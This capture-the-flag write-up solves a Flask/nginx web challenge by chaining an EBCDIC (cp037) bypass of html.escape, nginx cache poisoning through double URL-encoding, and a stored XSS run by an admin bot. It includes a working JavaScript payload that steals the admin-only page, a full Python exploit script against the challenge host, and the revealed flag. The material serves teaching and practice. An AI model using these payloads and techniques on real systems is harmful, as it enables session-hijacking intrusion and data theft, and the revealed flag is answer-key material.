$cat crash-app.mdWebHackultet 2026
crash-app
An admin-only page stays safe from XSS behind html.escape, until the page's own "pick your own encoding" feature lets an EBCDIC codec turn harmless characters into a live script tag.
$man crash-app
What this one teaches:
- Why escaping characters is only safe if the escaped text is later read back with the same encoding it was escaped in.
- How an nginx cache key built from part of the URL and part of the User-Agent can be poisoned for a specific visitor.
- Chaining a stored XSS into an admin bot that holds the one cookie and header you need.
$hint --one-at-a-time
Stuck? Open one hint, then go back and try again before reading the next.
Hint 1 of 2show
html.escape only looks at five characters. What happens if the bytes it checked map to something else entirely once re-encoded?
Hint 2 of 2show
The admin-only page isn't cached, but a nearby page is, and the cache key depends on the URL and part of the User-Agent. Can you make your request look like the bot's?
Task description
Nemamo cash, pa se ponekad desi crash. (Croatian pun: “we have no cache, so sometimes there’s a crash.”)
A Flask app behind nginx, with user profiles, an admin bot, and a flag behind /administrator, reachable only with the right session cookie and the right X-Admin header.
Layout
nginx (port 5000) proxies to a Flask app on gunicorn (port 6000). nginx caches responses under a key built from the request method, the request path, and the first six characters of the User-Agent, but only when the path ends in two digits, and /administrator is explicitly excluded from caching.
Inside the app:
/administratorreturns the flag if both the session cookie and theX-Adminheader match the admin’s values.- An admin bot (triggered at
/admin/visit) opens localhost URLs with the admin’s session cookie, and a request hook addsX-Adminto everything it loads, using Playwright’srouteinterception. /profile/<hash>/aboutstreams a user’s bio, encoded with whatever codec the caller names in anX-Preferred-Encodingheader.- A path middleware applies
unquotethennormpathto every request, on top of whatever nginx and Flask already did to the raw URL. - Saving a bio runs it through
html.escape(text, quote=True)first.
Three separate weaknesses chain together here: get a script into the admin bot’s eyes, get the bot to load it from a URL the admin bot specifically (not us) would request, and have that script read /administrator and hand the flag back out.
Getting a script past html.escape
The bio page streams its text directly, with no templating in between:
target_encoding = request.headers.get('X-Preferred-Encoding', 'utf-8')
yield about_text.encode(target_encoding)
html.escape() only touches five characters: <, >, &, ", '. It escapes them as Unicode code points, before any encoding happens. The page is re-encoded afterwards, using whatever codec the request asked for, and that’s the gap: escaping happens in Unicode, but what reaches the browser is bytes in a chosen encoding.
EBCDIC (specifically Python’s cp037 codec) maps those same five characters to completely different byte values than ASCII does:
| Character | cp037 byte | ASCII character at that byte |
|---|---|---|
< |
0x4C |
L |
> |
0x6E |
n |
& |
0x50 |
P |
" |
0x7F |
DEL |
' |
0x7D |
} |
So if we write our payload as if it were ASCII, decode those bytes as cp037 to get a Unicode string, that string contains none of the five characters html.escape looks for (because in cp037, < lives at a different byte than it does in ASCII). It sails through unescaped. Stored and later served back out with X-Preferred-Encoding: cp037, it re-encodes to exactly the original ASCII bytes, <script> included.
To avoid the handful of ASCII bytes that do collide with cp037’s escaped set (L, n, P, }, DEL), the actual JavaScript payload is hex-escaped inside an eval():
<script>eval('\x66\x65\x74\x63\x68...')</script>
Every character in that wrapper, <script>eval('\x..')</script>, maps to a safe cp037 byte, so the whole thing survives html.escape as a harmless-looking string of non-Latin characters until it’s served back out in cp037.
Making only the admin bot load it
The poisoned bio has to run in the admin’s bot, not just in our own browser. /profile/<hash>/about doesn’t end in two digits, so nginx won’t cache it by default. Doubling the URL-encoding gets around that:
/profile/<hash>/abou%2574
- nginx reads
$request_pathraw. It ends in74, which matches its “ends in two digits” caching rule, so nginx caches this response. - gunicorn decodes one layer (
%25to%), handing Flask’s middlewareabou%74. - The middleware’s own
unquoteresolves%74tot, givingabout, and Flask routes it to the bio view as normal.
Requesting that URL once, with X-Preferred-Encoding: cp037 and a User-Agent starting with the same six characters as the admin bot’s (AdminB), poisons the nginx cache entry that the bot’s own requests will later match.
Closing the loop
When the admin bot’s /admin/visit request lands on that cached URL, it gets served the poisoned, cp037-decoded page, complete with a live <script>. That script:
- Fetches
/administrator. The bot’s request carries the admin session cookie and getsX-Adminadded automatically, so it returns the flag. - Registers a new, attacker-controlled account.
- Stores the fetched flag into that new account’s own bio field.
- We log in as that account and read the flag back out of our own bio.
The flag never has to leave the server directly to us; the bot writes it somewhere we already have access to.
The exploit
The script actually injected, before hex-escaping and cp037-wrapping it:
fetch('/administrator').then(r => r.text()).then(async h => {
const flag = (h.match(/CTF2026\[.*?\]/) || [h.slice(0, 200)])[0];
await fetch('/register', {
method: 'POST',
body: new URLSearchParams({ username: 'xflag', password: 'xflag' }),
});
const hash = [...new Uint8Array(await crypto.subtle.digest(
'SHA-256', new TextEncoder().encode('xflag'),
))].map(b => b.toString(16).padStart(2, '0')).join('');
await fetch(`/profile/${hash}/`, {
method: 'POST',
body: new URLSearchParams({ about: flag }),
});
});
And the full chain that gets it running in the admin bot:
import hashlib, requests, time, re
TARGET = "http://chal.live.hackultet.hr:14004"
sha256 = lambda s: hashlib.sha256(s.encode()).hexdigest()
s = requests.Session()
our_hash = sha256("exploiter99")
s.post(f"{TARGET}/register", data={"username": "exploiter99", "password": "exploiter99"})
s.post(f"{TARGET}/login", data={"username": "exploiter99", "password": "exploiter99"})
payload = "<script>eval('\\x..." + "...hex-escaped JS above...')</script>".encode('ascii').decode('cp037')
s.post(f"{TARGET}/profile/{our_hash}/", data={"about": payload})
path = f"/profile/{our_hash}/abou%2574"
requests.get(f"{TARGET}{path}", headers={"X-Preferred-Encoding": "cp037", "User-Agent": "AdminBot/1.0"})
s.post(f"{TARGET}/admin/visit", data={"url": f"http://localhost:5000{path}"})
exfil_hash = sha256("xflag")
for _ in range(10):
time.sleep(3)
r = requests.Session().post(f"{TARGET}/login", data={"username": "xflag", "password": "xflag"})
about = requests.get(f"{TARGET}/profile/{exfil_hash}/about").text
m = re.search(r'CTF2026\[.*?\]', about)
if m:
print(m.group(0))
break
Why this needed three bugs, not one
Any one of these alone is contained: EBCDIC-based escaping bypass without a cache to poison just attacks our own browser; cache poisoning without an XSS payload just serves us our own content early; an admin bot without a working injection has nothing to run. The chain only works because the response’s Content-Type: text/html carries no charset, so whatever encoding the generator chose after headers were already sent is what the browser is left to guess at, same as for any visitor loading that cached page.
$cat flag.txt reveal
CTF2026[751899599868]